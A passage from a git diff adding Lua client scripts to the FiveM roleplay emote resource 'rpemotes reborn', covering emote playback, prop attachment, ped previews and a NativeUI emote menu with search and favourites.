"sdog" then + for i = 1, #SmallDogs do + if IsPedModel(PlayerPedId(), GetHashKey(SmallDogs[i])) then + OnEmotePlay(EmoteName, name) + return + end + end + EmoteChatMessage(Translate('notvalidpet')) + end +end + +---@param ped_preview boolean | nil +function DestroyAllProps(ped_preview) + if ped_preview then + for _, v in pairs(PreviewPedProps) do + DeleteEntity(v) + end + PedHasProp = false + else + for _, v in pairs(PlayerProps) do + DeleteEntity(v) + end + PlayerHasProp = false + DebugPrint("Destroyed Props") + end +end + +function AddPropToPlayer(prop1, bone, off1, off2, off3, rot1, rot2, rot3, textureVariation, PedPreview) + + if PedPreview then + Player_Props = clonedPed + else + Player_Props = PlayerPedId() + end + + local x, y, z = table.unpack(GetEntityCoords(Player_Props)) + + if not IsModelValid(prop1) then + DebugPrint(tostring(prop1).." is not a valid model!") + return false + end + + if not HasModelLoaded(prop1) then + LoadPropDict(prop1) + end + + + if PedPreview then + prop = CreateObject(joaat(prop1), x, y, z + 0.2, false, true, true) + else + prop = CreateObject(joaat(prop1), x, y, z + 0.2, true, true, true) + end + + if textureVariation ~= nil then + SetObjectTextureVariation(prop, textureVariation) + end + + + if PedPreview then + PedHasProp = true + AttachEntityToEntity(prop, Player_Props, GetPedBoneIndex(Player_Props, bone), off1, off2, off3, rot1, rot2, rot3, true, true, + false, true, 1, true) + table.insert(PreviewPedProps, prop) + else + PlayerHasProp = true + AttachEntityToEntity(prop, Player_Props, GetPedBoneIndex(Player_Props, bone), off1, off2, off3, rot1, rot2, rot3, true, true, + false, true, 1, true) + table.insert(PlayerProps, prop) + end + + -- table.insert(PlayerProps, prop) + + + SetModelAsNoLongerNeeded(prop1) + DebugPrint("Added prop to player") + return true +end + +----------------------------------------------------------------------------------------------------- +-- V -- This could be a whole lot better, i tried messing around with "IsPedMale(ped)" +-- V -- But i never really figured it out, if anyone has a better way of gender checking let me know. +-- V -- Since this way doesnt work for ped models. +-- V -- in most cases its better to replace the scenario with an animation bundled with prop instead. +----------------------------------------------------------------------------------------------------- + +function CheckGender() + local playerPed = PlayerPedId() + + if GetEntityModel(playerPed) == joaat("mp_f_freemode_01") then + PlayerGender = "female" + else + PlayerGender = "male" + end + + DebugPrint("Set gender as = (" .. PlayerGender .. ")") +end + +----------------------------------------------------------------------------------------------------- +------ This is the major function for playing emotes! ----------------------------------------------- +----------------------------------------------------------------------------------------------------- + +function OnEmotePlay(EmoteName, name, textureVariation) + local playerPed = PlayerPedId() + local playerCoords = GetEntityCoords(playerPed) + + for i = 1, #scenarioObjects do + local deleteScenarioObject = GetClosestObjectOfType(playerCoords.x, playerCoords.y, playerCoords.z, 1.0, scenarioObjects[i], false, true ,true) + if DoesEntityExist(deleteScenarioObject) then + SetEntityAsMissionEntity(deleteScenarioObject, false, false) + DeleteObject(deleteScenarioObject) + end + end + + InVehicle = IsPedInAnyVehicle(PlayerPedId(), true) + Pointing = false + + if not Config.AllowedInCars and InVehicle == 1 then + return + end + + if not DoesEntityExist(PlayerPedId()) then + return false + end + + if Config.AdultEmotesDisabled and EmoteName.AdultAnimation then + return EmoteChatMessage(Translate('adultemotedisabled')) + end + + -- Don't play a new animation if we are in an exit emote + if InExitEmote then + return false + end + + if Config.CancelPreviousEmote and IsInAnimation and not ExitAndPlay and not EmoteCancelPlaying then + ExitAndPlay = true + DebugPrint("Canceling previous emote and playing next emote") + PlayExitAndEnterEmote(EmoteName, name, textureVariation) + return + end + + + local animOption = EmoteName.AnimationOptions + if InVehicle then + if animOption and animOption.NotInVehicle then + return EmoteChatMessage(Translate('not_in_a_vehicle')) + end + elseif animOption and animOption.onlyInVehicle then + return EmoteChatMessage(Translate('in_a_vehicle')) + end + + if ChosenAnimOptions and ChosenAnimOptions.ExitEmote and animOption and animOption.ExitEmote then + if not (animOption and ChosenAnimOptions.ExitEmote == animOption.ExitEmote) and RP.Exits[ChosenAnimOptions.ExitEmote][2] ~= EmoteName[2] then + return + end + end + + if isInActionWithErrorMessage() then + return false + end + + ChosenDict, ChosenAnimation, ename = table.unpack(EmoteName) + CurrentAnimationName = name + CurrentExportEmote = CurrentAnimationName + CurrentTextureVariation = textureVariation + ChosenAnimOptions = animOption + AnimationDuration = -1 + + if Config.DisarmPlayer then + if IsPedArmed(PlayerPedId(), 7) then + SetCurrentPedWeapon(PlayerPedId(), joaat('WEAPON_UNARMED'), true) + end + end + + if animOption and animOption.Prop and PlayerHasProp then + DestroyAllProps() + end + + if ChosenDict == "MaleScenario" or ChosenDict == "Scenario" or ChosenDict == "ScenarioObject" then + CheckGender() + if ChosenDict == "MaleScenario" then if InVehicle then return end + if PlayerGender == "male" then + ClearPedTasks(PlayerPedId()) + DestroyAllProps() + TaskStartScenarioInPlace(PlayerPedId(), ChosenAnimation, 0, true) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + IsInAnimation = true + RunAnimationThread() + else + DestroyAllProps() + EmoteCancel() + EmoteChatMessage(Translate('maleonly')) + end + return + elseif ChosenDict == "ScenarioObject" then if InVehicle then return end + BehindPlayer = GetOffsetFromEntityInWorldCoords(PlayerPedId(), 0.0, 0 - 0.5, -0.5); + ClearPedTasks(PlayerPedId()) + TaskStartScenarioAtPosition(PlayerPedId(), ChosenAnimation, BehindPlayer['x'], BehindPlayer['y'], BehindPlayer['z'], GetEntityHeading(PlayerPedId()), 0, true, false) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + IsInAnimation = true + RunAnimationThread() + return + elseif ChosenDict == "Scenario" then if InVehicle then return end + ClearPedTasks(PlayerPedId()) + DestroyAllProps() + TaskStartScenarioInPlace(PlayerPedId(), ChosenAnimation, 0, true) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + IsInAnimation = true + RunAnimationThread() + return + end + end + + -- Small delay at the start + if animOption and animOption.StartDelay then + Wait(animOption.StartDelay) + end + + if not LoadAnim(ChosenDict) then + EmoteChatMessage("'" .. ename .. "' " .. Translate('notvalidemote') .. "") + return + end + + MovementType = 0 -- Default movement type + + if InVehicle == 1 then + MovementType = 51 + elseif animOption then + if animOption.EmoteMoving then + MovementType = 51 + elseif animOption.EmoteLoop then + MovementType = 1 + elseif animOption.EmoteStuck then + MovementType = 50 + end + end + + if animOption then + if animOption.EmoteDuration == nil then + animOption.EmoteDuration = -1 + AttachWait = 0 + else + AnimationDuration = animOption.EmoteDuration + AttachWait = animOption.EmoteDuration + end + + if animOption.PtfxAsset then + PtfxAsset = animOption.PtfxAsset + PtfxName = animOption.PtfxName + if animOption.PtfxNoProp then + PtfxNoProp = animOption.PtfxNoProp + else + PtfxNoProp = false + end + Ptfx1, Ptfx2, Ptfx3, Ptfx4, Ptfx5, Ptfx6, PtfxScale = table.unpack(animOption.PtfxPlacement) + PtfxBone = animOption.PtfxBone + PtfxColor = animOption.PtfxColor + PtfxInfo = animOption.PtfxInfo + PtfxWait = animOption.PtfxWait + PtfxCanHold = animOption.PtfxCanHold + PtfxNotif = false + PtfxPrompt = true + RunAnimationThread() -- ? This call should not be required, see if needed with tests + TriggerServerEvent("rpemotes:ptfx:sync", PtfxAsset, PtfxName, vector3(Ptfx1, Ptfx2, Ptfx3), vector3(Ptfx4, Ptfx5, Ptfx6), PtfxBone, PtfxScale, PtfxColor) + else + DebugPrint("Ptfx = none") + PtfxPrompt = false + end + end + + if IsPedUsingAnyScenario(PlayerPedId()) or IsPedActiveInScenario(PlayerPedId()) then + ClearPedTasksImmediately(PlayerPedId()) + end + + TaskPlayAnim(PlayerPedId(), ChosenDict, ChosenAnimation, 5.0, 5.0, AnimationDuration, MovementType, 0, false, false, false) + RemoveAnimDict(ChosenDict) + IsInAnimation = true + RunAnimationThread() + if animOption and animOption.Prop then + -- if there is a prop, don't do the status thread as it's useless and leads to some bugs + else + CheckStatusThread(ChosenDict, ChosenAnimation) + end + MostRecentDict = ChosenDict + MostRecentAnimation = ChosenAnimation + + if animOption and animOption.Prop then + PropName = animOption.Prop + PropBone = animOption.PropBone + PropPl1, PropPl2, PropPl3, PropPl4, PropPl5, PropPl6 = table.unpack(animOption.PropPlacement) + if animOption.SecondProp then + SecondPropName = animOption.SecondProp + SecondPropBone = animOption.SecondPropBone + SecondPropPl1, SecondPropPl2, SecondPropPl3, SecondPropPl4, SecondPropPl5, SecondPropPl6 = table.unpack(animOption.SecondPropPlacement) + SecondPropEmote = true + else + SecondPropEmote = false + end + Wait(AttachWait) + + if not AddPropToPlayer(PropName, PropBone, PropPl1, PropPl2, PropPl3, PropPl4, PropPl5, PropPl6, textureVariation, false) then return end + if SecondPropEmote then + if not AddPropToPlayer(SecondPropName, SecondPropBone, SecondPropPl1, SecondPropPl2, SecondPropPl3, SecondPropPl4, SecondPropPl5, SecondPropPl6, textureVariation, false) then + DestroyAllProps() + return + end + end + + -- Ptfx is on the prop, then we need to sync it + if animOption.PtfxAsset and not PtfxNoProp then + TriggerServerEvent("rpemotes:ptfx:syncProp", ObjToNet(prop)) + end + end +end + + +function OnEmotePlayPed(EmoteName, name, textureVariation) + if not Config.PreviewPed then return end + + local cloneCoords = GetEntityCoords(clonedPed) + + for i = 1, #scenarioObjects do + local deleteScenarioObject = GetClosestObjectOfType(cloneCoords.x, cloneCoords.y, cloneCoords.z, 1.0, scenarioObjects[i], false, false ,false) + if DoesEntityExist(deleteScenarioObject) then + SetEntityAsMissionEntity(deleteScenarioObject, false, false) + DeleteObject(deleteScenarioObject) + end + end + + -- InVehicle = IsPedInAnyVehicle(clonedPed, true) + -- Pointing = false + + -- if not Config.AllowedInCars and InVehicle == 1 then + -- return + -- end + + if not DoesEntityExist(clonedPed) then + return false + end + + -- Don't play a new animation if we are in an exit emote + if InExitEmote then + return false + end + + -- if Config.CancelPreviousEmote and IsInAnimation and not ExitAndPlay and not EmoteCancelPlaying then + if Config.CancelPreviousEmote and not ExitAndPlay and not EmoteCancelPlaying then + ExitAndPlay = true + DebugPrint("Canceling previous emote and playing next emote") + -- PlayExitAndEnterEmote(EmoteName, name, textureVariation) -- A remettre + return + end + + local animOption = EmoteName.AnimationOptions + + if ChosenAnimOptions and ChosenAnimOptions.ExitEmote and animOption and animOption.ExitEmote then + if not (animOption and ChosenAnimOptions.ExitEmote == animOption.ExitEmote) and RP.Exits[ChosenAnimOptions.ExitEmote][2] ~= EmoteName[2] then + return + end + end + + if isInActionWithErrorMessage() then + return false + end + + ChosenDict, ChosenAnimation, ename = table.unpack(EmoteName) + CurrentTextureVariation = textureVariation + ChosenAnimOptions = animOption + AnimationDuration = -1 + + -- if Config.DisarmPlayer then + -- if IsPedArmed(clonedPed, 7) then + -- SetCurrentPedWeapon(clonedPed, joaat('WEAPON_UNARMED'), true) + -- end + -- end + + if animOption and animOption.Prop and PedHasProp then + DestroyAllProps(true) + end + + if ChosenDict == "MaleScenario" or ChosenDict == "Scenario" or ChosenDict == "ScenarioObject" then + CheckGender() + if ChosenDict == "MaleScenario" then -- if InVehicle then return end + if PlayerGender == "male" then + ClearPedTasks(clonedPed) + DestroyAllProps(true) + TaskStartScenarioInPlace(clonedPed, ChosenAnimation, 0, true) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + -- RunAnimationThread() + else + DestroyAllProps(true) + -- EmoteCancel() + -- EmoteChatMessage(Translate('maleonly')) + end + return + elseif ChosenDict == "ScenarioObject" then -- if InVehicle then return end + BehindPlayer = GetOffsetFromEntityInWorldCoords(clonedPed, 0.0, 0 - 0.5, -0.5); + ClearPedTasks(clonedPed) + TaskStartScenarioAtPosition(clonedPed, ChosenAnimation, BehindPlayer['x'], BehindPlayer['y'], BehindPlayer['z'], GetEntityHeading(clonedPed), 0, true, false) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + -- RunAnimationThread() + return + elseif ChosenDict == "Scenario" then -- if InVehicle then return end + ClearPedTasks(clonedPed) + DestroyAllProps(true) + TaskStartScenarioInPlace(clonedPed, ChosenAnimation, 0, true) + DebugPrint("Playing scenario = (" .. ChosenAnimation .. ")") + -- RunAnimationThread() + return + end + end + + -- Small delay at the start + -- if animOption and animOption.StartDelay then + -- Wait(animOption.StartDelay) + -- end + + if not LoadAnim(ChosenDict) then + EmoteChatMessage("'" .. ename .. "' " .. Translate('notvalidemote') .. "") + return + end + + MovementType = 0 -- Default movement type + + -- if InVehicle == 1 then + -- MovementType = 51 + -- elseif animOption then + if animOption then + if animOption.EmoteMoving then + MovementType = 51 + elseif animOption.EmoteLoop then + MovementType = 1 + elseif animOption.EmoteStuck then + MovementType = 50 + end + end + + if animOption then + if animOption.EmoteDuration == nil then + animOption.EmoteDuration = -1 + AttachWait = 0 + else + AnimationDuration = animOption.EmoteDuration + AttachWait = animOption.EmoteDuration + end + + -- if animOption.PtfxAsset then + -- PtfxAsset = animOption.PtfxAsset + -- PtfxName = animOption.PtfxName + -- if animOption.PtfxNoProp then + -- PtfxNoProp = animOption.PtfxNoProp + -- else + -- PtfxNoProp = false + -- end + -- Ptfx1, Ptfx2, Ptfx3, Ptfx4, Ptfx5, Ptfx6, PtfxScale = table.unpack(animOption.PtfxPlacement) + -- PtfxBone = animOption.PtfxBone + -- PtfxColor = animOption.PtfxColor + -- PtfxInfo = animOption.PtfxInfo + -- PtfxWait = animOption.PtfxWait + -- PtfxCanHold = animOption.PtfxCanHold + -- PtfxNotif = false + -- PtfxPrompt = true + -- -- RunAnimationThread() -- ? This call should not be required, see if needed with tests + + -- TriggerServerEvent("rpemotes:ptfx:sync", PtfxAsset, PtfxName, vector3(Ptfx1, Ptfx2, Ptfx3), vector3(Ptfx4, Ptfx5, Ptfx6), PtfxBone, PtfxScale, PtfxColor) + -- else + -- DebugPrint("Ptfx = none") + -- PtfxPrompt = false + -- end + end + + if IsPedUsingAnyScenario(clonedPed) or IsPedActiveInScenario(clonedPed) then + ClearPedTasksImmediately(clonedPed) + end + + TaskPlayAnim(clonedPed, ChosenDict, ChosenAnimation, 5.0, 5.0, AnimationDuration, MovementType, 0, false, false, false) + RemoveAnimDict(ChosenDict) + IsInAnimation = true + -- RunAnimationThread() + + MostRecentDict = ChosenDict + MostRecentAnimation = ChosenAnimation + + if animOption and animOption.Prop then + PropName = animOption.Prop + PropBone = animOption.PropBone + PropPl1, PropPl2, PropPl3, PropPl4, PropPl5, PropPl6 = table.unpack(animOption.PropPlacement) + if animOption.SecondProp then + SecondPropName = animOption.SecondProp + SecondPropBone = animOption.SecondPropBone + SecondPropPl1, SecondPropPl2, SecondPropPl3, SecondPropPl4, SecondPropPl5, SecondPropPl6 = table.unpack(animOption.SecondPropPlacement) + SecondPropEmote = true + else + SecondPropEmote = false + end + Wait(AttachWait) + + + if not AddPropToPlayer(PropName, PropBone, PropPl1, PropPl2, PropPl3, PropPl4, PropPl5, PropPl6, textureVariation, true) then return end + if SecondPropEmote then + if not AddPropToPlayer(SecondPropName, SecondPropBone, SecondPropPl1, SecondPropPl2, SecondPropPl3, SecondPropPl4, SecondPropPl5, SecondPropPl6, textureVariation, true) then + DestroyAllProps(true) + return + end + end + + -- Ptfx is on the prop, then we need to sync it + -- if animOption.PtfxAsset and not PtfxNoProp then + -- TriggerServerEvent("rpemotes:ptfx:syncProp", ObjToNet(prop)) + -- end + end +end + +function PlayExitAndEnterEmote(emoteName, name, textureVariation) + local ply = PlayerPedId() + if not CanCancel and force ~= true then return end + if ChosenDict == "MaleScenario" and IsInAnimation then + ClearPedTasksImmediately(ply) + IsInAnimation = false + DebugPrint("Forced scenario exit") + elseif ChosenDict == "Scenario" and IsInAnimation then + ClearPedTasksImmediately(ply) + IsInAnimation = false + DebugPrint("Forced scenario exit") + end + + PtfxNotif = false + PtfxPrompt = false + Pointing = false + + if LocalPlayer.state.ptfx then + PtfxStop() + end + DetachEntity(ply, true, false) + CancelSharedEmote(ply) + + if ChosenAnimOptions and ChosenAnimOptions.ExitEmote then + -- If the emote exit type is not spesifed it defaults to Emotes + local options = ChosenAnimOptions + local ExitEmoteType = options.ExitEmoteType or "Emotes" + + -- Checks that the exit emote actually exists + if not RP[ExitEmoteType] or not RP[ExitEmoteType][options.ExitEmote] then + DebugPrint("Exit emote was invalid") + ClearPedTasks(ply) + IsInAnimation = false + return + end + OnEmotePlay(RP[ExitEmoteType][options.ExitEmote], ExitEmoteType) + DebugPrint("Playing exit animation") + + -- Check that the exit emote has a duration, and if so, set InExitEmote variable + local animationOptions = RP[ExitEmoteType][options.ExitEmote].AnimationOptions + if animationOptions and animationOptions.EmoteDuration then + InExitEmote = true + SetTimeout(animationOptions.EmoteDuration, function() + InExitEmote = false + DestroyAllProps(true) + ClearPedTasks(ply) + OnEmotePlay(emoteName, name, textureVariation) + ExitAndPlay = false + end) + return + end + else + ClearPedTasks(ply) + IsInAnimation = false + ExitAndPlay = false + DestroyAllProps(true) + OnEmotePlay(emoteName, name, CurrentTextureVariation) + end +end + + +----------------------------------------------------------------------------------------------------- +------ Some exports to make the script more standalone! (by Clem76) --------------------------------- +----------------------------------------------------------------------------------------------------- + +exports("EmoteCommandStart", function(emoteName, textureVariation) + EmoteCommandStart(nil, {emoteName, textureVariation}, nil) +end) +exports("EmoteCancel", EmoteCancel) +exports("CanCancelEmote", function(State) + CanCancel = State == true +end) +exports('IsPlayerInAnim', function() + return CurrentExportEmote +end) + +-- Door stuff +local openingDoor = false +AddEventHandler('CEventOpenDoor', function(entities, eventEntity, args) + if ShowPed then + return + end + + if not IsInAnimation then + return + end + + if openingDoor then + return + end + + openingDoor = true + + while IsPedOpeningADoor(PlayerPedId()) do + Wait(100) + end + + openingDoor = false + + Wait(200) + + local emote = RP.Emotes[CurrentAnimationName] + if not emote then + emote = RP.PropEmotes[CurrentAnimationName] + + end + + if not emote then + return + end + + emote.name = CurrentAnimationName + + ClearPedTasks(PlayerPedId()) + DestroyAllProps() + OnEmotePlay(emote, emote.name, CurrentTextureVariation) +end) + +local isBumpingPed = false +local timeout = 500 + +AddEventHandler("CEventPlayerCollisionWithPed", function() + if not IsInAnimation then + return + end + + if isBumpingPed then + timeout = 500 + return + end + isBumpingPed = true + timeout = 500 + -- We wait a bit to avoid collision with the ped resetting the animation again + + while timeout > 0 do + Wait(100) + timeout = timeout - 100 + end + + if not IsInAnimation then + return + end + + local emote = RP.Emotes[CurrentAnimationName] + if not emote then + emote = RP.PropEmotes[CurrentAnimationName] + end + + if not emote then + return + end + + emote.name = CurrentAnimationName + + isBumpingPed = false + ClearPedTasks(PlayerPedId()) + DestroyAllProps() + OnEmotePlay(emote, emote.name, CurrentTextureVariation ) +end) diff --git a/resources/rpemotesreborn1.6.0/client/EmoteMenu.lua b/resources/rpemotesreborn1.6.0/client/EmoteMenu.lua new file mode 100644 index 000000000..81c5a14ff --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/EmoteMenu.lua @@ -0,0 +1,629 @@ +InSearch = false + + +local rightPosition = { x = 1430, y = 200 } +local leftPosition = { x = 0, y = 200 } +local menuPosition = { x = 0, y = 200 } + +if GetAspectRatio() > 2.0 then + rightPosition = { x = 1200, y = 100 } + leftPosition = { x = -250, y = 100 } +end + +if Config.MenuPosition then + if Config.MenuPosition == "left" then + menuPosition = leftPosition + elseif Config.MenuPosition == "right" then + menuPosition = rightPosition + end +end + +if Config.CustomMenuEnabled then + local RuntimeTXD = CreateRuntimeTxd('Custom_Menu_Head') + CreateRuntimeTextureFromImage(RuntimeTXD, 'Custom_Menu_Head', 'header.png') + Menuthing = "Custom_Menu_Head" +else + Menuthing = "shopui_title_sm_hangar" +end + +_menuPool = NativeUI.CreatePool() +mainMenu = NativeUI.CreateMenu(Config.MenuTitle or "", "", menuPosition["x"], menuPosition["y"], Menuthing, Menuthing) +_menuPool:Add(mainMenu) + +local EmoteTable = {} +local FavEmoteTable = {} +local DanceTable = {} +local AnimalTable = {} +local PropETable = {} +local WalkTable = {} +local FaceTable = {} +local ShareTable = {} +local FavoriteEmote = "" + +if Config.FavKeybindEnabled then + RegisterCommand('emotefav', function() FavKeybind() end, false) + RegisterKeyMapping("emotefav", Translate("register_fav_anim"), "keyboard", Config.FavKeybind) + + local doingFavoriteEmote = false + + function FavKeybind() + if doingFavoriteEmote == false then + doingFavoriteEmote = true + if not IsPedSittingInAnyVehicle(PlayerPedId()) then + if FavoriteEmote ~= "" and (not CanUseFavKeyBind or CanUseFavKeyBind()) then + EmoteCommandStart(nil, { FavoriteEmote, 0 }) + Wait(500) + end + end + else + EmoteCancel() + doingFavoriteEmote = false + end + end +end + +lang = Config.MenuLanguage + +function AddEmoteMenu(menu) + local submenu = _menuPool:AddSubMenu(menu, Translate('emotes'), "", true, true) + if Config.Search then + submenu:AddItem(NativeUI.CreateItem(Translate('searchemotes'), "")) + table.insert(EmoteTable, Translate('searchemotes')) + end + local dancemenu = _menuPool:AddSubMenu(submenu, Translate('danceemotes'), "", true, true) + local animalmenu + if Config.AnimalEmotesEnabled then + animalmenu = _menuPool:AddSubMenu(submenu, Translate('animalemotes'), "", true, true) + table.insert(EmoteTable, Translate('animalemotes')) + end + local propmenu = _menuPool:AddSubMenu(submenu, Translate('propemotes'), "", true, true) + table.insert(EmoteTable, Translate('danceemotes')) + table.insert(EmoteTable, Translate('danceemotes')) + + if Config.SharedEmotesEnabled then + sharemenu = _menuPool:AddSubMenu(submenu, Translate('shareemotes'), + Translate('shareemotesinfo'), true, true) + shareddancemenu = _menuPool:AddSubMenu(sharemenu, Translate('sharedanceemotes'), "", true, true) + table.insert(ShareTable, 'none') + table.insert(EmoteTable, Translate('shareemotes')) + end + + -- Temp var to be able to sort every emotes in the fav list + local favEmotes = {} + if not Config.SqlKeybinding then + unbind2item = NativeUI.CreateItem(Translate('rfavorite'), Translate('rfavorite')) + unbinditem = NativeUI.CreateItem(Translate('prop2info'), "") + favmenu = _menuPool:AddSubMenu(submenu, Translate('favoriteemotes'), + Translate('favoriteinfo'), true, true) + favmenu:AddItem(unbinditem) + favmenu:AddItem(unbind2item) + -- Add two elements as offset + table.insert(FavEmoteTable, Translate('rfavorite')) + table.insert(FavEmoteTable, Translate('rfavorite')) + table.insert(EmoteTable, Translate('favoriteemotes')) + else + table.insert(EmoteTable, "keybinds") + keyinfo = NativeUI.CreateItem(Translate('keybinds'), + Translate('keybindsinfo') .. " /emotebind [~y~num4-9~w~] [~g~emotename~w~]") + submenu:AddItem(keyinfo) + end + + for a, b in pairsByKeys(RP.Emotes) do + x, y, z = table.unpack(b) + emoteitem = NativeUI.CreateItem(z, "/e (" .. a .. ")") + submenu:AddItem(emoteitem) + table.insert(EmoteTable, a) + if not Config.SqlKeybinding then + favEmotes[a] = z + end + end + + for a, b in pairsByKeys(RP.Dances) do + x, y, z = table.unpack(b) + danceitem = NativeUI.CreateItem(z, "/e (" .. a .. ")") + dancemenu:AddItem(danceitem) + if Config.SharedEmotesEnabled then + sharedanceitem = NativeUI.CreateItem(z, "/nearby (" .. a .. ")") + shareddancemenu:AddItem(sharedanceitem) + end + table.insert(DanceTable, a) + if not Config.SqlKeybinding then + favEmotes[a] = z + end + end + + if Config.AnimalEmotesEnabled then + for a, b in pairsByKeys(RP.AnimalEmotes) do + x, y, z = table.unpack(b) + animalitem = NativeUI.CreateItem(z, "/e (" .. a .. ")") + animalmenu:AddItem(animalitem) + table.insert(AnimalTable, a) + if not Config.SqlKeybinding then + favEmotes[a] = z + end + end + end + + if Config.SharedEmotesEnabled then + for a, b in pairsByKeys(RP.Shared) do + x, y, z, otheremotename = table.unpack(b) + if otheremotename == nil then + shareitem = NativeUI.CreateItem(z, "/nearby (~g~" .. a .. "~w~)") + else + shareitem = NativeUI.CreateItem(z, + "/nearby (~g~" .. + a .. "~w~) " .. Translate('makenearby') .. " (~y~" .. otheremotename .. "~w~)") + end + sharemenu:AddItem(shareitem) + table.insert(ShareTable, a) + end + end + + for a, b in pairsByKeys(RP.PropEmotes) do + x, y, z = table.unpack(b) + + if b.AnimationOptions.PropTextureVariations then + propitem = NativeUI.CreateListItem(z, b.AnimationOptions.PropTextureVariations, 1, "/e (" .. a .. ")") + propmenu:AddItem(propitem) + else + propitem = NativeUI.CreateItem(z, "/e (" .. a .. ")") + propmenu:AddItem(propitem) + end + + table.insert(PropETable, a) + if not Config.SqlKeybinding then + favEmotes[a] = z + end + end + + if not Config.SqlKeybinding then + -- Add the emotes to the fav menu + for emoteName, emoteLabel in pairsByKeys(favEmotes) do + favemoteitem = NativeUI.CreateItem(emoteLabel, + Translate('set') .. emoteLabel .. Translate('setboundemote')) + favmenu:AddItem(favemoteitem) + table.insert(FavEmoteTable, emoteName) + end + + favmenu.OnItemSelect = function(sender, item, index) + if FavEmoteTable[index] == Translate('rfavorite') then + FavoriteEmote = "" + SimpleNotify(Translate('rfavorite')) + return + end + if Config.FavKeybindEnabled then + FavoriteEmote = FavEmoteTable[index] + SimpleNotify("~o~" .. firstToUpper(FavoriteEmote) .. Translate('newsetemote')) + end + end + end + favEmotes = nil + + -- Ped Emote on Change Index + + dancemenu.OnIndexChange = function(menu, newindex) + ClearPedTaskPreview() + EmoteMenuStartPed(DanceTable[newindex], "dances") + end + + propmenu.OnIndexChange = function(menu, newindex) + ClearPedTaskPreview() + EmoteMenuStartPed(PropETable[newindex], "props") + end + + submenu.OnIndexChange = function(menu, newindex) + if newindex > 6 then + ClearPedTaskPreview() + EmoteMenuStartPed(EmoteTable[newindex], "emotes") + end + end + + dancemenu.OnMenuClosed = function(menu) + ClearPedTaskPreview() + end + + -------- + + + dancemenu.OnItemSelect = function(sender, item, index) + EmoteMenuStart(DanceTable[index], "dances") + end + + if Config.AnimalEmotesEnabled then + animalmenu.OnItemSelect = function(sender, item, index) + EmoteMenuStart(AnimalTable[index], "animals") + end + end + + if Config.SharedEmotesEnabled then + sharemenu.OnItemSelect = function(sender, item, index) + if ShareTable[index] ~= 'none' then + target, distance = GetClosestPlayer() + if (distance ~= -1 and distance < 3) then + _, _, rename = table.unpack(RP.Shared[ShareTable[index]]) + TriggerServerEvent("ServerEmoteRequest", GetPlayerServerId(target), ShareTable[index]) + SimpleNotify(Translate('sentrequestto') .. GetPlayerName(target)) + else + SimpleNotify(Translate('nobodyclose')) + end + end + end + + shareddancemenu.OnItemSelect = function(sender, item, index) + target, distance = GetClosestPlayer() + if (distance ~= -1 and distance < 3) then + _, _, rename = table.unpack(RP.Dances[DanceTable[index]]) + TriggerServerEvent("ServerEmoteRequest", GetPlayerServerId(target), DanceTable[index], 'Dances') + SimpleNotify(Translate('sentrequestto') .. GetPlayerName(target)) + else + SimpleNotify(Translate('nobodyclose')) + end + end + end + + propmenu.OnItemSelect = function(sender, item, index) + EmoteMenuStart(PropETable[index], "props") + end + + propmenu.OnListSelect = function(menu, item, itemIndex, listIndex) + EmoteMenuStart(PropETable[itemIndex], "props", item:IndexToItem(listIndex).Value) + end + + submenu.OnItemSelect = function(sender, item, index) + if Config.Search and EmoteTable[index] == Translate('searchemotes') then + EmoteMenuSearch(submenu) + elseif EmoteTable[index] ~= Translate('favoriteemotes') then + EmoteMenuStart(EmoteTable[index], "emotes") + end + end + + submenu.OnMenuClosed = function(menu) + if not InSearch then + ClosePedMenu() + end + end + +end + +if Config.Search then + local ignoredCategories = { + ["Walks"] = true, + ["Expressions"] = true, + ["Shared"] = not Config.SharedEmotesEnabled + } + + function EmoteMenuSearch(lastMenu) + local favEnabled = not Config.SqlKeybinding and Config.FavKeybindEnabled + AddTextEntry("PM_NAME_CHALL", Translate('searchinputtitle')) + DisplayOnscreenKeyboard(1, "PM_NAME_CHALL", "", "", "", "", "", 30) + while UpdateOnscreenKeyboard() == 0 do + DisableAllControlActions(0) + Wait(100) + end + local input = GetOnscreenKeyboardResult() + if input ~= nil then + local results = {} + for k, v in pairs(RP) do + if not ignoredCategories[k] then + for a, b in pairs(v) do + if string.find(string.lower(a), string.lower(input)) or (b[3] ~= nil and string.find(string.lower(b[3]), string.lower(input))) then + table.insert(results, {table = k, name = a, data = b}) + end + end + end + end + + if #results > 0 then + InSearch = true + + local searchMenu = _menuPool:AddSubMenu(lastMenu, string.format('%s '..Translate('searchmenudesc')..' ~r~%s~w~', #results, input), "", true, true) + local sharedDanceMenu + if favEnabled then + local rFavorite = NativeUI.CreateItem(Translate('rfavorite'), Translate('rfavorite')) + searchMenu:AddItem(rFavorite) + end + + if Config.SharedEmotesEnabled then + sharedDanceMenu = _menuPool:AddSubMenu(searchMenu, Translate('sharedanceemotes'), "", true, true) + end + + table.sort(results, function(a, b) return a.name < b.name end) + for k, v in pairs(results) do + local desc = "" + if v.table == "Shared" then + local otheremotename = v.data[4] + if otheremotename == nil then + desc = "/nearby (~g~" .. v.name .. "~w~)" + else + desc = "/nearby (~g~" .. v.name .. "~w~) " .. Translate('makenearby') .. " (~y~" .. otheremotename .. "~w~)" + end + else + desc = "/e (" .. v.name .. ")" .. (favEnabled and "\n" .. Translate('searchshifttofav') or "") + end + + if v.data.AnimationOptions and v.data.AnimationOptions.PropTextureVariations then + local item = NativeUI.CreateListItem(v.data[3], v.data.AnimationOptions.PropTextureVariations, 1, desc) + searchMenu:AddItem(item) + else + local item = NativeUI.CreateItem(v.data[3], desc) + searchMenu:AddItem(item) + end + + if v.table == "Dances" and Config.SharedEmotesEnabled then + local item2 = NativeUI.CreateItem(v.data[3], "") + sharedDanceMenu:AddItem(item2) + end + end + + if favEnabled then + table.insert(results, 1, Translate('rfavorite')) + end + + + searchMenu.OnMenuChanged = function(menu, newmenu, forward) + InSearch = false + ShowPedMenu() + end + + + searchMenu.OnIndexChange = function(menu, newindex) + local data = results[newindex] + + ClearPedTaskPreview() + if data.table == "Emotes" or data.table == "Dances" then + EmoteMenuStartPed(data.name, string.lower(data.table)) + elseif data.table == "PropEmotes" then + EmoteMenuStartPed(data.name, "props") + elseif data.table == "AnimalEmotes" then + EmoteMenuStartPed(data.name, "animals") + end + end + + + 